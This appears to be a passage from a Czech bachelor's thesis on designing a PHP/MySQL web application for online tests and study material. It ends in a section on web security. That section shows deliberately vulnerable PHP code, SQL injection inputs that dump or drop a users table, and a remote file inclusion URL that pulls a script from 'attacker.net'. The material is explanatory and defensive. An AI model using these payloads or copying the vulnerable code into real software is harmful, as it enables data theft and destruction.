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ÚVOD
Cílem bakalářské práce je vytvoření webové aplikace pro testové hodnocení (dále
WAPTH), která bude plnit funkci webové učebnice.
Uživatelská část bude rozdělena na tématické okruhy. Student bude moci v rámci
každého okruhu procházet stránkami s teorií, simulacemi a bude si moci ověřit na-
byté znalosti. Ověření znalostí bude probíhat formou testu s náhodně vybranými
otázkami.
Administrační část bude sloužit pro správu informací publikovaných v uživatelské





Aplikace pro testové hodnocení bude rozdělena na část uživatelskou a administrační.
1.1.1 Požadavky na uživatelskou část aplikace
Účelem uživatelské části bude poskytovat studentům možnost procházet tématic-
kými okruhy, zobrazovat teorii a simulace z každého okruhu. Nabyté znalosti si
student bude moci ověřit formou testu z každého okruhu.
Ze zadání vyplývají následující požadavky:
• Možnost procházení tématy.
• Každé téma bude moci mít přiřazenu jednu stránku s teorií, jednu se stránku
se simulacemi a jeden test.
• Testové otázky budou vybírány náhodně a tak, aby se neopakovaly.
• Po dokončení testu bude zobrazena rekapitulace odpovědí a stručná statistika.
Doplňkové možnosti a funkce:
• Odpovědi na testové otázky budou vypisovány pokaždé v jiném pořadí.
• Bude použita technika hezkých URL.
• Šablony budou oddělené od aplikace samotné, aby bylo možné jednoduše pro-
vádět případné úpravy vzhledu uživatelského rozhraní.
1.1.2 Požadavky na administrační část aplikace
Administrační část bude sloužit pro spravování informací dostupných v uživatel-
ské části. Správa by měla být řešena tak, nevyžadovala znalosti tvorby webových
stránek.
Ze zadání vyplývají následující požadavky:
• Témata, teorie, simulace a testy bude možno administrovat.
• Obsah teorií, simulací bude možno upravit pomocí WYSIWIG editoru HTML
kódu.
• Bude možné sestavovat vazby mezi tématy, teoriemi, simulacemi a testy tak,
aby každé téma mohlo mít přiřazenu jednu teorii, jednu simulaci a jeden test.
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• Bude chráněná heslem a komunikace bude probíhat přes zabezpečený protokol
HTTPS.
Doplňkové možnosti a funkce:
• Tématům, teoriím, simulacím a testů bude možno přiřadit parametr „publi-
kovánoÿ.
• Základní správa uživatelů a uživatelských práv.
• Zaslání ztraceného hesla k přístupu do administrace.
• Vytváření záloh a možnost obnovy databáze.
• Základní nastavení aplikace.
• Automatická konverze matematických výrazů na obrázky.
• Možnost správy souborů na serveru.
1.2 Technická specifikace
• Aplikace bude provozovaná na serveru Apache s nainstalovanou podporou
PHP verze 5.2.6.
• Data budou ukládána pomocí databázového systému MySQL verze 5.0.45.




Je aplikace, která poskytuje webové služby. Zpravidla je tvořena soustavou skriptů,
které jsou interpretovány HTTP serverem. Webová aplikace by měla splňovat para-
metry:
• Je provozována v rámci HTTP serveru.
• Pro komunikaci mezi klientem a serverem je využíván protokol HTTP nebo
HTTPS.
• Klientem je webový prohlížeč.
2.1.1 Třívrstvý model
Většina webových aplikací využívá třívrstvého modelu (viz obr. 2.1). To znamená,
že pro běh aplikace je nutný jak HTTP server, tak databázový systém přičemž klient
komunikuje pouze s webovým serverem.
Skriptovací engine HTTP serveru interpretuje skripty, které si klient vyžádá.
Aplikace spuštěná na webovém serveru jeho prostřednictvím komunikuje s databá-
zovým systémem.
Po dokončení požadavku spojení zaniká1 a aplikace se uvolní z paměti. Po do-
končení zpracování skriptu jsou zrušeny veškeré proměnné a jejich hodnoty, tudíž
i uživatelská data. Uložení uživatelských dat nezávisle na zpracování požadavků se
uskutečňuje prostřednictvím cookie, session, databáze, popřípadě uložením dat do
nějakého souboru na serveru.
2.2 Vývoj a provoz webových aplikací
2.2.1 HTTP server Apache
HTTP server je aplikace určená pro poskytování webových služeb. Je provozována
v rámci nějakého fyzického serveru.
Apache je jeden z nejpoužívanějších serverů. Jeho obliba je způsobena především
jeho otevřeným kódem, což znamená, že za něj není třeba platit licenční poplatky.
Server Apache je možné používat jak pod systémy Windows, tak pod systémy
Unix.












Obr. 2.1: Třívrstvý model aplikace [11]
Konfigurace serveru se provádí pomocí souboru httpd.conf. Server podporuje také
tzv. virtual host, který umožňuje provoz více virtuálních serverů na jednom serveru
a tudíž pod stejnou IP adresou. Virtuální servery jsou v takovém případě rozlišovány
podle DNS jmen.
2.2.2 PHP
Původně nesl název Personal Home Page, nyní Hypertext Preprocessor. Je nejpouží-
vanější skriptovací jazyk na internetu. Jeho syntaxe kombinuje hned několik jazyků
dohromady (Perl, C, Pascal, Java). Je nezávislý na platformě.
PHP je jazyk typový. To znamená, že datové typy proměnných jsou definovány
v případě uložení dat do proměnné. Programátor se pak nemusí starat o deklaraci
proměnných a jejich zcela správné použití.
PHP je šířeno pod velice volnou licencí „The PHP Licenseÿ.
Konfigurace PHP se provádí editací konfiguračního souboru php.ini.
Interpret PHP může být pod webovým serverem Apache nainstalovaný provozo-
vaný dvěma způsoby — jako interpret CGI nebo modul Apache.
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Interpret CGI
Při každém požadavku je vytvářena nová instance interpretu, takže se načítají veš-
keré knihovny a nastavení. Interpret CGI umožňuje spouštět PHP skripty různými
uživateli.
Výhoda spočívá v možnosti použití více konfigurací PHP a nenutnosti restartu
serveru nebo načtení konfigurace po její změně. Interpret je také odolný vůči pá-
dům — nezhroutí se celý server.
Nevýhodou je pomalejší interpretace PHP, nemožnost využití permanentního
spojení s databází, nelze použít HTTP autentifikaci, . . .
Modul Apache
Interpret je načten po celou dobu běhu serveru, takže je interpretace rychlejší.
Výhodou je možnost využití procesů, které jsou závislé na permanenci běhu
interpretu — HTTP autentifikace, permanentní spojení s databází atd.
Nevýhodou je nutnost ručního načtení konfigurace (popřípadě restartu serveru)
při změně konfigurace PHP a zhroucení serveru při chybě interpretu.
[8]
2.2.3 MySQL
Je nejpoužívanější databázový systém pro webové aplikace. Komunikace s ním pro-
bíhá v MySQL, dialektu jazyka SQL.
MySQL je multiplatformní a je šířen jak pod licencí GPL, tak i pod placenou
licencí.
MySQL bylo oproti jiným databázovým systémům poměrně dlouho pozadu.
V novějších verzích jsou již zavedeny pokročilé možnosti jako procedury, triggery
a pohledy.
Data mohou být systémem ukládána různými způsoby, přičemž 2 z nich — My-
ISAM, InnoDB — jsou nejpoužívanější. Při užití InnoDB je možné využívat trans-
akce. MyISAM je zato o něco rychlejší.
2.2.4 HTML
Hypertext Markup Language, neboli hypertextový značkovací jazyk, slouží k přenosu
informace od serveru ke klientovi.
Klient tento jazyk interpretuje a zobrazuje uživateli v graficko-textové podobě.
Při tvorbě zdrojových kódů nebo jejich generaci aplikací je potřeba brát v úvahu
tzv. validitu kódu. Když je daný dokument nevalidní, znamená to, že se ve zdrojo-
vém kódu vyskytují syntaktické chyby. V některých případech mohou syntaktické
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chyby zapříčinit chybné zobrazení dokumentu, popřípadě jeho úplnou nepoužitel-
nost. Obecně ale prohlížeče obsahují sofistikované opravné mechanismy, které dokáží
méně závažné chyby opravit.
Jazyk HTML je sémantický. To znamená, že je jím možno značkovat všechny
druhy textových informací jako seznamy, nadpisy atd. HTML kód by měl být tvořen
s ohledem na sémantiku už kvůli pravidlům přístupnosti (viz kapitola 2.3.2).
V soušasné verzi je využívána především verze XHTML 1.0 Strict nebo XHTML
1.0 Transitional.
2.2.5 CSS
Cascade Style Sheet, neboli kaskádové styly slouží k popisu zobrazení HTML doku-
mentu klientem.
Pro každý HTML objekt lze nadefinovat sadu pravidel, jimiž se bude prohlížeč
řídit při zobrazení daného dokumentu.
Hlavním účelem kaskádových stylů je oddělení informační části dokumentu od
části popisující jeho vzhled. Ve starších specifikacích HTML se vzhled jednotlivých
prvků definoval atributy tagů. To mělo za následek nárůst velikosti HTML doku-
mentu a jeho nepřehlednosti.
Kaskádové styly se zpravidla umísťují do samostatného souboru a v HTML do-
kumentu se uvede pouze vazba na daný CSS soubor. Teprve při zobrazení stránky
klientem se stahuje CSS soubor z daného umístnění. Soubory se většinou ukládají
do cache, což má za následek zmenšení objemu přenášených dat mezi serverem a
klientem.
Při používání kaskádových stylů a vytváření graficky složitého vzhledu stránky
vývojáři často naráží na problémy při zobrazení v různých prohlížečích. Každý pro-
hlížeč se v tomto ohledu chová mírně odlišně.
Díky CSS stylům je možno tvořit přehledný a čistý HTML kód odpovídající pra-
vidlům přístupnosti. Již není nutné používat kdysi tak oblíbené nepřístupné tabulky
pro realizaci několikasloupcového rozložení stránky.
2.2.6 JavaScript
JavaScript je nejpoužívanější klientsky orientovaný skriptovací jazyk. Je založen na
jazyku C a podobná je i jeho syntaxe. JavaScript je objektově orientovaný.
JavaScript pracuje s tzv. DOM (Document Object Model) pomocí kterého má
programátor přístup ke stromové struktuře dokumentu, tudíž k jakémukoliv objektu
dokumentu a jeho vlastnostem.
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JavaScript framework
Při psaní skriptů v JavaScriptu je výhodné použít JavaScript framework. Jedná
se o sadu funkcí a objektů, které zjednodušují využití možností JavaScriptu. Fra-
meworky také minimalizují nebo úplně odstraňují nekompatibilitu prohlížečů s žáda-
nou funkcí tím, že je funkce frameworkem zpracována v závislosti na typu prohlížeče.
Mezi nejznámější frameworky patří jQuery, Mootools a Prototype. S každým
frameworkem se pracuje jinak, ale základní principy použití jsou podobné.
Velice jednoduše použitelný je framework jQuery. Obsahuje také spoustu inte-
grovaných funkcí jako podpora AJAX, různé efekty atd.
Jednou z nejjednodušších ukázek výhody využití frameworku může být přístup
k libovolnému elementu stránky podle jeho parametru class. Přístup k elementu
pomocí nativních funkcí JavaScriptu není snadný, protože je třeba definovat vlastní
funkci, která umožní prvek vyhledat, a poté ji volat.
function getElementsByClassName(classname, node)
{
if(!node) node = document.getElementsByTagName(”body”)[0];
var a = [];
var re = new RegExp(’\\b’ + classname + ’\\b’);
var els = node.getElementsByTagName(”*”);






S využitím frameworku jQuery je přístup mnohem snadnější, protože využíváme
již hotových funkcí.
var myElements = $(’.myClass’);
2.2.7 Šablonovací systémy
Šablonovací systémy se používají z důvodu oddělení programové a prezentační části,
sdílení stejných bloků kódu s jinými skripty a přehlednosti kódu.
Výhoda použití šablonovacího systému je také možnost přesného určení pořadí
zpracování jednotlivých bloků ve skriptu — nejprve se zpracuje aplikační část a poté
se začne zpracovávat prezentační část. Díky tomu je možno kdekoliv v aplikační části
používat funkce, které musí být volány před samotným výstupem skriptu. Typic-
kým příkladem je funkce header(). Pokud chceme provést například přesměrování,
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využijeme této funkce. Pokud jsme ale před jejím voláním již poslali data na vý-
stup (například provedením příkazu echo), vrátí PHP parser chybu a přesměrování
neprovede.
Nejjednodušší systém šablon je použití funkce include(). Při jejím použití se
vytvoří například 3 PHP soubory — obslužný skript, šablona hlavičky a patičky.











Na rozsáhlé projekty je vhodné použít sofistikované šablonovací systémy jako
například Smarty, které dokáží při vhodném použití velice usnadnit práci. Tyto
systémy již zcela oddělují HTML a PHP — pracují s vlastním skriptovacím jazykem,
který se překládá do PHP.
Jejich použití přináší nevýhodu v nutnosti kompilace šablon do PHP, což je
poměrně výpočetně náročný proces. Kvalitní šablonovací systémy ovšem provádí
cachování zkompilovaných šablon, takže se kompilace provádí pouze jednou a to po
úpravě zdrojové šablony.
2.2.8 Prezentace matematických výrazů
K účelu prezentace matematických výrazů na webových stránkách slouží různé apli-
kace a doplňky.
MathML (Mathematical Markup Language)
Je jazyk vyvíjený konsorciem W3C určený pro zápis matematických výrazů. Je za-
ložen na XML.
Jeho výhodou je relativně jednoduchá integrace do HTML stránky. Nevýhodou je
potřeba překládat výrazy do složitého XML kódu pomocí nějaké aplikace. Složitost
XML kódu je možné ilustrovat příkladem zápisu výrazu x2 + 4x + 4 = 0. Výsledný






















Podpora prohlížečů může být také problémem při jeho použití — nativní podpora
je zavedena v prohlížečích FireFox 3 a Opera 9.6 a jejich vyšších verzích. Pro podporu




Je aplikace pro převod matematických výrazů na obrázky. Je napsána v jazyku C a
po kompilaci je k dispozici ve CGI skriptu (EXE pod Windows), kterému se předává
výraz v TEX syntaxi pomocí GET požadavku. Výraz je skriptem konvertován na ob-
rázek a vrácen klientovi i s příslušnými hlavičkami, díky čemuž je způsob prezentace
nezávislý na použitém prohlížeči.
Pokud je třeba publikovat výraz například a+ b = c, stačí do HTML kódu vložit
obrázek:
<img src=”mathtex.cgi?a+b=c” alt=”a+b=c” />
Použití mathTeX je podmíněno nainstalovanou TEX distribucí s podporou dvipng
převodu na serveru, kde je provozován. MathTex je platformě nezávislý. Při jeho
kompilaci se zároveň provádí i nastavení.
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MathTex umožňuje blokování načítání obrazků z jiného serveru nazývaného jako
„hotlinkingÿ, „leechingÿ apod. Blokování spočívá v kontrole referreru klienta. Po-
kud se referrer neshoduje s tím, který byl uveden v nastavení při kompilaci, dojde
vygenerování obrázku s varovným textem.
V možnostech aplikace je také automatické cachování výrazů. Při generování do-
posud neexistujícího obrázku je obrázek uložen do cache. Název souboru je vytvořen
na základě identifikátoru sestaveného hashovací funkcí MD5 z výrazu samotného.
Při předávání výrazu skriptu je vhodné také počítat s tím, že by se v HTTP
požadavku vůbec neměly vyskytovat mezery v předávaném výrazu. Proto je vhodné
mezery ve výrazu nahradit nedělitelnými mezerami ( )˜.
Způsob kompilace mathTeX (Unix systém):




Je aplikace velice podobná aplikaci mathTeX. Její výhoda oproti mathTeX je, že
k činnosti nepotřebuje nainstalovanou TEX distribuci na serveru a je jí možno použít
i při omezeném přístupu k serveru (mírně nadstandardní webhosting). Nevýhoda
spočívá v méně kvalitním výstupu (viz srovnání na obrázku 2.2).
Oproti mathTeX vrací skript mimeTeX i hlavičku „Vertical-Alignÿ, která nese
informaci o vertikální korekci v px oproti základní linii řádku. Vertikální korekci je




$address = $mimeaddr . ’?’ . $expression;
$headers = get_headers($address);
$headers = implode(”\n”, $headers);





Ukázka kompilace mimeTex s korekcí vyhlazování písma (Unix systém):
cc -DAA -DGAMMA=1.8 -DCENTERWT=8 -DADJACENTWT=1 -DCORNERWT=1




Obr. 2.2: Srovnání výstupu: a) mathTeX, b) mimeTeX
2.2.9 Tvorba hezkých URL
Na internetu se lze již dlouhou dobu setkat s takzvanými hezkými URL. Jedná se
o konstrukci URL, která by měla být lehce zapamatovatelná a měla by také odrážet
umístění dané stránky na webu.
V případě rozsáhlejší aplikace, kdy jsou parametry pro zobrazení dané stránky
předávány metodou GET, může URL vypadat následovně2.
http://www.example.net/index.php?section=articles&type=archive&
artid=993458
Z uvedeného příkladu je patrné, že daná adresa není uživatelsky přívětivá a
málokdo je schopný si adresu zapamatovat. Adresa navíc nic neříká o stránce, která
se pod ní skrývá.
Odborník už při prvním pohledu ví, že se pravděpodobně bude jednat o stránku
zařazenou v archivu článků a její identifikátor bude 993458.
Adresu by bylo vhodnější konstruovat následující způsobem.
http://www.example.net/articles/archive/993458
Z URL byly odebrány GET parametry a díky tomu je adresa daleko více pře-
hledná.
Další úpravou by mohlo být nahrazení číselného nic neříkajícího identifikátoru
článku jeho textovou variantou.
http://www.example.net/articles/archive/shark-attacks-surfer
2Pro účely prezentace je adresa rozdělena na 2 řádky.
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Z uvedené adresy je potom i laikovi jasné, co se za ní skrývá. K záměně číselného
identifikátoru za jeho textovou variantu bývá zpravidla potřebný zásah i do řídící
logiky a popřípadě i datového modelu aplikace. K dané stránce se potom nepřistu-
puje pomocí jejího identifikátoru, ale pomocí unikátního klíče, který bývá zpravidla
odvozen od nadpisu stránky.
Při vytváření odkazů na stránky přístupných pod hezkými URL musí být brána
v úvahu i skutečnost, že by se na webu neměly vyskytovat 2 verze URL, pod kterými
se skrývá tatáž stránka. V takovém případě by došlo k zaregistrování obou adres
indexovacími roboty různých vyhledávačů, což může mít za následek penalizaci dané
stránky (vznikne duplicitní obsah).
V praxi se generace hezkých URL řeší mapovacími funkcemi, které z dodaných
parametrů sestaví požadovanou adresu.
Mod rewrite
Je modul serveru Apache, který umožňuje (nejen) používání hezkých URL. Při vy-
užití tohoto modulu pro hezké URL se využívá tzv. podstrkávání adres klientovi.
V praxi to znamená, že například adresa
http://www.example.net/articles/archive/shark-attacks-surfer
je modulem přeložena na adresu3
http://www.example.net/index.php?section=articles&type=archive&
artkey=shark-attacks-surfer
Překládání adres funguje bez vědomí uživatele a provádí se pouze na serveru.
Požadovaná stránka je dostupná pod oběma adresami, ale uživateli je nabídnuta
pouze její „hezkáÿ verze.
Nastavení překladu se realizuje pomocí serverového konfiguračního souboru .htac-





První řádek zapne přepisovací engine.
3Pro účely prezentace je adresa rozdělena na 2 řádky.
4Pro účely prezentace je poslední pravidlo rozděleno na 2 řádky.
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Druhý řádek definuje podmínku následujícího přepisu — v URL se musí vysky-
tovat řetězec „articles/archive/ÿ.
Třetí řádek definuje způsob přepisu adresy. Příznak L říká, že po aplikaci to-
hoto pravidla se nebude aplikovat další pravidlo. Příznak QSA říká, že překlad bude
aplikován pouze na část URL.
Dalšími použitelnými konfiguračními direktivami jsou definice chybových strá-
nek. V případě tvorby vlastních chybových stránek je možné použít direktivy pro
přesměrování klienta na požadovanou stránku v případě výskytu nějaké chyby. Na-
příklad pro obvyklou chybu „404 Not Foundÿ může konfigurační direktiva vypadat
následovně.
ErrorDocument 404 /error-page.php?errno=404
Při nenalezení dokumentu serverem, je potom klient přesměrován na adresu
http://www.example.net/error-page.php?errno=404
2.3 Uživatelská rozhraní
Uživatelské rozhraní obecně je souhrn prostředků umožňující uživateli interakci
s aplikací. V případě webové aplikace se jedná zpravidla o webovou stránku, zobraze-
nou ve webovém prohlížeči. Základem webové stránky je HTML dokument, k úpravě
jejího vzhledu může být použito kaskádových stylů CSS a interaktivita může být
podpořena skripty (např. JavaScript). Webová stránka taky může využívat dalších
tzv. embed5 prvků jako například Adobe Flash, Java Aplety, různé přehrávače videí
atd.
Uživatelská rozhraní webových aplikací jsou tvořena za pomoci HTML kódu
vygenerovaného aplikací. Ten je interpretován webovým prohlížečem (klientem) a
zobrazen uživateli v grafické podobě. V případě běžného uživatele je pojem uživatel-
ské prostředí aplikace chápán spíše obecně jako webové stránky, přesněji dynamické
webové stránky. Webové stránky ovšem nemusí tvořit pouze rozhraní aplikace —
mohou sloužit pouze pro účely prezentace informací a nemusí být řízeny aplikací.
V takovém případě se hovoří o statických webových stránkách.




Za pojmem použitelnost se skrývá řada faktorů, které ovlivňují vlastnosti uživatel-
ského rozhraní. Hlavní myšlenkou použitelnosti je jednoduchost použití rozhraní.
Použitelné rozhraní lze definovat jako:
• Vzhled musí být podřízen přehlednosti.
• Možnosti musí být realizovatelné jednoduchým způsobem.
• Orientace uživatele na stránce musí být intuitivní.
• Navigace mezi stránkami musí být přehledná a jednoduchá.
Při návrhu uživatelských rozhraní se obvykle postupuje podle zažitých pravidel.
Uživatelé jsou zvyklí na nějaká prostředí a pokud dané prostředí nevybočuje ze




Pravidla přístupnosti jsou narozdíl od pravidel použitelnosti přesně specifikovaná.
Jsou zaměřena spíše na užívání rozhraní hendikepovanými uživateli, ale v důsledku
slouží i ku prospěchu běžného uživatele.
Některá z pravidel jsou:
• Každý netextový prvek nesoucí významové sdělení má svou textovou alterna-
tivu.
• Informace sdělované prostřednictvím skriptů, objektů, appletů, kaskádových
stylů, obrázků a jiných doplňků na straně uživatele jsou dostupné i bez které-
hokoli z těchto doplňků.
• Informace sdělované barvou jsou dostupné i bez barevného rozlišení.
• Barvy popředí a pozadí jsou dostatečně kontrastní. Na pozadí není vzorek,
který snižuje čitelnost.
• Předpisy určující velikost písma nepoužívají absolutní jednotky.
• Předpisy určující typ písma obsahují obecnou rodinu písem.
Zdroj a kompletní seznam pravidel viz [10].
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2.3.3 Návrh uživatelského prostředí
Celý proces návrhu uživatelského prostředí může být rozdělen na postupy:
• Specifikace požadavků na dané prostředí.
Specifikuje se například, co bude jeho účelem, jaké informace budou prezento-
vány, atd.
• Sestavení mapy stránek.
Mapa stránek slouží ke znázornění hierarchie stránek, po kterých se může uži-
vatel pohybovat. Mapa slouží jak vývojářům rozhraní, tak uživatelům rozhraní
(je dostupná na jedné ze stránek prostředí). Může mít grafickou (diagram), tex-
tovou (hierarchický seznam) nebo kombinovanou formu. Jednoduchá grafická
mapa stránek je znázorněna na obrázku 3.4.
• Návrh drátového modelu vzhledu rozhraní.
Drátový model vzhledu rozhraní slouží k předběžnému rozvržení obsahu stránky.
Jak název vypovídá, vyjadřuje základní rysy konečného vzhledu rozhraní.
Ukázka drátového modelu je znázorněna na obrázku 3.3.
• Realizace grafického návrhu.
Realizace grafického návrhu spočívá v nakreslení budoucí podoby stránek v ně-
jakém grafickém editoru.
• Vytvoření šablon jednotlivých stránek.
Nakreslené obrázky stránek jsou rozebrány na malé díly a jednotlivé vrstvy,
potřebné pro sestavení šablony, jsou sestrojeny HMTL šablony.
• Implementace šablon do aplikace.
Šablony jsou rozebrány na menší bloky pro možnost použití stejného bloku na
více místech a implementovány.
2.4 Doplňky pro webové aplikace
Doplňky slouží k rozšíření možností webových aplikací.
2.4.1 FCK Editor — WYSIWG editor HTML kódu
WYSIWIG editory kódu slouží ke zpřístupnění tvorby a editace HTML kódu běžným
uživatelům. Uživatel tak nemusí znát syntaxi jazyka HTML, ale je schopný pomocí
editoru produkovat výstup v HTML.
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Webové WYSIWIG editory jsou určeny výhradně pro úpravu HTML kódu v rámci
formulářovém prvku TEXTAREA a nelze je tak provozovat jako samostatné apli-
kace. Editory využívají především JavaScript.
FCK editor je šířen pod licencemi GPL, LGPL a MPL. Volně k dispozici jsou
i podobné nástroje jako například TinyMCE. Výhoda použití FCK editoru spočívá
v integrovaném a snadno konfigurovatelném browseru a connectoru, nevýhodou je
ale špatná kompatibilita s prohlížečem Opera.
Integrace editoru do stránky
Před samotnou integrací editoru do stánky je potřebné stáhnout soubory aplikace a
umístit je tak, aby byly k dispozici stránce, v níž bude editor integrován.
Poté lze editor do stánky integrovat vložením kódu do záhlaví dokumentu
<script type=”text/javascript” src=”fckeditor/fckeditor.js”></script>
a úpravou formuláře ve stránce — přidáním inicializace editoru — skriptem.
<form method=”post” action=””>
<textarea name=”html_code” id=”html_code” cols=”50”
rows=”30”></textarea>
<script type=”text/javascript”>
var oFCKeditor = new FCKeditor(”html_code”);
oFCKeditor.Config[”CustomConfigurationsPath”] =






První řádek vloženého JavaScriptu vytvoří instanci editoru a propojí ho s daným
formulářovým prvkem.
Druhý a třetí řádek6 specifikuje cestu k souboru s nastavením. Do cesty je také
generován aktuální čas jako GET parametr. To způsobí zakázání cachování nasta-
vení, protože se název souboru pro klienta s každým požadavkem mění.
Čtvrtý řádek specifikuje cestu k adresáři, kde jsou umístěny soubory editoru.
Pátý řádek definuje výšku editačního pole editoru.
Poslední řádek nahradí formulářový prvek editorem.
V ukázce byl v adresách použitý způsob definice cesty, kde na začátku adresy
figuruje dopředné lomítko. Tento způsob adresování se využívá, pokud neznáme
například doménu, na které bude stránka s editorem umístěna. Webový prohlížeč se
6Zalomení je vloženo pouze pro účely prezentace.
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potom chová tak, že před první znak — lomítko — automaticky přidává aktuální




je adresa prohlížečem sestavena jako
http://www.example.net/fckeditor/_fckconfig.js
Toto chování prohlížeče lze využít i u odkazování se na obrázky apod.
Nastavení editoru
Nastavení editoru se provádí editací konfiguračního souboru fckconfig.js. Konfigu-
rovat lze panely nástrojů, funkce a chování editoru atd.
Dokumentace nastavení viz [4].
Browser a Connector
Jsou sady skriptů FCK editoru, které umožňují nahrávání a procházení souborů na
serveru a jejich vložení do editovaného kódu. Běžně se browser a connector využívá
pro možnost vkládání obrázků do textu v případě, že uživatel má daný obrázek
umístěn na vlastním počítači a je jej třeba na server nahrát.
Connector FCK editoru je napsán pro velké množství programovacích jazyků
jako PHP, ASP, Perl atd.
Konfigurace connectoru spočívá především v nastavení adresáře, ke kterému bude
mít přístup, jeho webovou adresu a povolení funkce connectoru. Při povolení funkce
connectoru je potřeba mít na paměti, že jej kdokoliv může zneužít (číst a nahrá-
vat data). Proto je možné funkci povolit pouze v případě, že je uživatel například
přihlášen.
2.4.2 AjaXplorer — manažer souborů
Webové manažery souborů slouží uživatelům k manipulaci soubory na serveru bez
nutnosti využívat přímého přístupu k souborovému systému nebo například FTP
připojení.
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Aplikace AjaXplorer poskytuje kompletní řešení souborového manažeru. Jak její
název vypovídá, její rozhraní využívá AJAX pro komunikaci s jádrem aplikace. Je
šířena pod licencí GNU LGPL.
Aplikace umožňuje plnohodnotnou správu souborů na serveru, tzn. nahrávání,
prohlížení, mazání a editaci. Přístup k souborům je chráněn možností využití uži-
vatelských účtů.
[2]
Nastavení AjaXplorer a integrace do jiné aplikace
Konfigurace se provádí pomocí konfiguračního souboru server/conf/conf.php, kde
lze mimo jiné nastavit adresář, ve kterém bude umožněno spravovat soubory.
V případě funkce této aplikace pod jinou nadřazenou aplikací, kde probíhá auto-
rizace uživatelů, nelze přidat kontrolu autorizace nadřazeného systému do konfigu-
račního souboru. Načítání konfigurace se neprovádí standardním způsobem, tudíž by
případné přerušení vykonávání skriptu autorizačním skriptem nemělo smysl. V ta-
kovém případě je nutné vložit kontrolu autorizace do jádra aplikace — souboru
index.php.
Při integraci aplikace AjaXplorer do jiné nadřazené aplikace je možno využít
otevření aplikace v novém okně, popřípadě ve vnořeném rámci IFRAME.
2.5 Bezpečnost webových aplikací
2.5.1 Útok typu man-in-the-middle
Přenos dat mezi klientem a serverem přes protokol HTTP probíhá v nešifrované
podobě. To znamená, že každý, kdo má přístup k přenosové cestě, má také přístup
k přenášeným informacím.
Pokud se útočník nějakým způsobem dostane k přenosové cestě, může jednoduše
zachytávat a rozpoznávat přenášená data. Takovýto způsob útoku se nazývá man-
in-the-middle attack.
V příloze B je ukázka zachyceného paketu, který obsahuje dotaz na HTTP server,
podaný při odeslání přihlašovacího formuláře. Z ukázky je patrné, jak jsou nešifro-
vaná data jednoduše čitelná.
Při využívaní aplikací, u kterých je třeba přenášet citlivá data, je nutno pře-




Při HTTPS komunikaci se využívá zabezpečení pomocí SSL. SSL kóduje přenášená
data a zároveň ověřuje obě strany. Tím je předcházeno nebezpečí zcizení dat.
SSL využívá šifrování veřejným klíčem, kde je klientovi odeslán veřejný klíč,
kterým jsou data šifrována. Server data dešifruje na základě privátního klíče. Klient
s použitím veřejného klíče šifruje vlastní klíč a odesílá ho serveru, čímž je na serveru
ověřena identita klienta.
Při HTTPS komunikaci jsou data posílána na port 443 (standardní HTTP na
port 80), takže může server jednoduše oddělit požadavky na zabezpečenou a neza-
bezpečenou komunikaci.
Pro server Apache se nejčastěji používá modul mod ssl a knihovna OpenSSL.
[8]
2.5.2 Session Stealing
Pro autorizaci uživatelů do různých webových aplikací se pro ukládání stavu autori-
zace používá tzv. session (česky relace). Z hlediska programovacího jazyka se jedná
o proměnnou, do které je možno ukládat textová data. Data jsou na serveru ucho-
vána po dobu platnosti relace (dle nastavení PHP) nebo jejího záměrného zrušení
(odhlášení uživatele).
K identifikaci klienta slouží identifikátor relace (session id). Jedná se většinou
o alfanumerický unikátní řetězec o délce 32 znaků. Identifikátor je mezi serverem a
klientem předáván většinou pomocí cookie, ale může být předáván i pomocí GET
parametru. Identifkifátor relace je relativně snadno zjistitelný z HTTP požadavku
serveru nebo klienta (viz příloha B.2, řádek Cookie: PHPSESSID ...).
Při metodě útoku session stealing se útočník snaží přistupovat na server jako
jiná osoba. K tomu mu slouží kradený identifikátor relace. Pokud útočník získá
identifikátor uživatele, který se například právě přihlásil do nějaké aplikace, server ho
považuje za přihlášeného. V takovém případě má útočník stejné pravomoci v aplikaci
jako regulérně přihlášený uživatel.
Tato metoda útoku lze potlačit různými způsoby, z nichž nejjednodušší jsou:
• Kontrola shody IP adresy uživatele, z níž se přihlásil, s jeho aktuální adresou.
• Častá změna identifikátoru relace, nebo použití sekundárního identifikátoru.
• Použitím HTTPS (v takovém případě jsou 2 předchozí metody zbytečné).
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2.5.3 SQL Injection
Je metoda útoku na databázi aplikace, při níž se využívá neošetřených uživatelských
vstupů, které jsou použity v MySQL dotazu.
Příkladem může být formulář pro vyhledávání uživatele v systému. Po odeslání
formuláře se může MySQL dotaz zpracovávat následujícím způsobem.
$search_name = $_POST[’user_name’];
$result = mysql_query(
”SELECT * FROM users WHERE user_name = ’$search_name’”
);
Takovéto zpracování však může být velice nebezpečné. V případě, že uživatel
zadá do vyhledávacího políčka text
x’ OR ’a’=’a
je výsledný MySQL dotaz sestaven jako
SELECT * FROM users WHERE user_name = ’x’ OR ’a’=’a’
což způsobí vypsání všech uživatelů.
Podobně útočník může například smazat celou tabulky zadáním textu,
x’; DROP TABLE users; --
který je sestaven v dotaz
SELECT * FROM users WHERE user_name = ’x’; DROP TABLE users; --’
V tomto případě je poslední uvozovka s MySQL dotazu zakomentována znaky --.
Ošetření uživatelských vstupů
Při ošetření uživatelských vstupů se používá metoda escapování uvozovek. To zna-
mená, že veškeré uvozovky, které nejsou součástí žádaného MySQL dotazu se převe-
dou na tvar \’. V případě pokusu o útok, je pak celý uživatelský vstup brán MySQL
systémem jako jeden řetězec.
K tomu se používá v PHP funkce mysql_real_escape_string(), popřípadě
podobná, ale ne zcela vhodná7 funkce addslashes().
7Bylo zjištěno, že funkce v některých případech špatně escapuje uvozovky (viz [1]).
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Dalším možným způsobem ošetření je zapnutí volby magic_quotes_gpc v kon-
figuraci PHP. To způsobí, že jsou v GET, POST, Cookie proměnné automaticky
escapovány. V takovém případě je třeba brát v úvahu, že jsou data již jednou esca-
pována a nelze je escapovat podruhé.





”SELECT * FROM users WHERE user_name = ’$search_name’”
2.5.4 Remote File Inclusion
Česky vložení vzdáleného souboru je metoda útoku, při níž útočník zneužívá neošet-
řených uživatelských vstupů, které figuruje ve funkci include(). Typickou ukázkou
je způsob načítání šablon stránek v závislosti na GET parametru.
include($_GET[’page’]);
V takovém případě na nezabezpečeném serveru může útočník zadat do hodnoty
GET parametru vhodný kód a způsobit tak spuštění vlastního skriptu umístěného
na jiném serveru. Zadáním URL například8
http://www.example.net/index.php?
page=http://www.attacker.net/attack-script.php
zajistí útočník include a tedy i spuštění vlastního skriptu. V takovém případě je
například možné, aby útočník získal přístup k souborům na serveru, přistupy k da-
tabázi apod.
V případě, že include daného souboru je řešen pomocí kódu
